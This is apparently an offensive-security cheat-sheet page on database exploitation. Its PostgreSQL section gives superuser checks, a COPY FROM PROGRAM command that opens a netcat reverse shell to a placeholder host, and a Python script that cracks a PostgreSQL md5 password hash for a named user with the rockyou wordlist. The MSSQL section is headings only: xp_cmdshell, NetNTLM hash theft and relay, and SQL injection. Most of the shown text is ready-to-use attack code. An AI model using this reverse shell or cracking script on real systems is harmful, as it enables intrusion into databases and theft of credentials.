Database Explotation
PostgreSQL Command Execution
Using COPY TO/FROM PROGRAM
SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f';PostgreSQL Cracking (md5 password + username)
import hashlib
target_hash = "md5ae8c67affdb169a42c9631c02fc67ede"
username = "rubben"
with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f:
for line in f:
password = line.strip()
combo = password + username
hashed = "md5" + hashlib.md5(combo.encode()).hexdigest()
if hashed == target_hash:
print(f"[+] Password found: {password}")
breakMSSQL
Check privileges
Enable xp_cmdshell (With privileges)
**Steal NetNTLM Hash / Relay Attack (**Without privileges)
Enable xp_cmdshell via SQL Injection
Last updated